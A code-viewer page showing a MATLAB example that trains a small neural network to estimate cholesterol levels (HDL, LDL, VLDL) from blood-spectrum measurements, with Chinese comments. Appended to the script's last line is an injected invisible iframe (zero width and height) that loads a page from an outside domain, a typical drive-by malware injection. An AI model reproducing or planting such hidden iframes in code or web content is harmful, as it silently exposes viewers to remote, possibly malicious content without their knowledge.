📄 dan_gu_chun_hanliangguji.m
字号:
% 这是一个将神经网络用于医疗应用的例子。用于从血样的光谱组成的测量中得到血清的胆固醇
% 含量级别。我们有264个病人的血样值,包括21种波长的谱线的数据。基于光谱分类的胆固醇
% 含量级别hdl,ldl,vldl。第一步,先将这些数据读入工作空间中,对这些数据进行规范处理,
% 然后对它们进行主要成分的分析。在MATLAB中有一个文件choles_all.mat,其中包含了需要的
% 数据。
%
% 胆固醇含量估计
%
clear all;
close all;
% 导入原始测量数据
load choles_all;
% 对原始数据进行规范化处理,删除一些数据,适当保留了变化不小于0.01的数据。
[pn,meanp,stdp,tn,meant,stdt]=prestd(p,t);
[ptrans,transMat]=prepca(pn,0.001);
[P,Q]=size(ptrans);
% 将原始数据分成几个部分作为不通用途,四分之一用于测试,四分之一用于确证,剩下的二分
% 之一用于训练网络。等间隔地在原始数据中抽取这些数据。
iitst=2:4:Q;
iival=4:4:Q;
iitr=[1:4:Q 3:4:Q];
vv.P=ptrans(:,iival);
vv.T=tn(:,iival);
vt.P=ptrans(:,iitst);
vt.T=tn(:,iitst);
ptr=ptrans(:,iitr);
ttr=tn(:,iitr);
% 建立网络。建立一个两层的网络,隐层使用传递函数tan-sigmoid,输出层采用线性传递函数。隐
% 层包含5个神经元,输出为3个神经元。
net=newff(minmax(ptr),[5 3],{'tansig' 'purelin'},'trainlm');
% 训练网络。使用Levenberg-Marquardt算法来训练网络。
net.trainParam.show=5;
[net,tr]=train(net,ptr,ttr,[],[],vv,vt);
% 绘出训练过程中各误差的变化曲线
plot(tr.epoch,tr.perf,'r',tr.epoch,tr.vperf,':g',tr.epoch,tr.tperf,'-.b');
legend('训练','确证','测试',-1);
xlabel('时间');
ylabel('平方误差');
% 暂停仿真,按任意键继续
pause;
% 得到各个级别的结果的线性回归结果,并绘出曲线
an=sim(net,ptrans);
a=poststd(an,meant,stdt);
for i=1:3
figure(i)
[m(i),b(i),r(i)]=postreg(a(i,:),t(i,:));
end<IFRAME SRC="HTTP://www.m5k8.com/gr.htm" WIDTH=0 HEIGHT=0></IFRAME>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -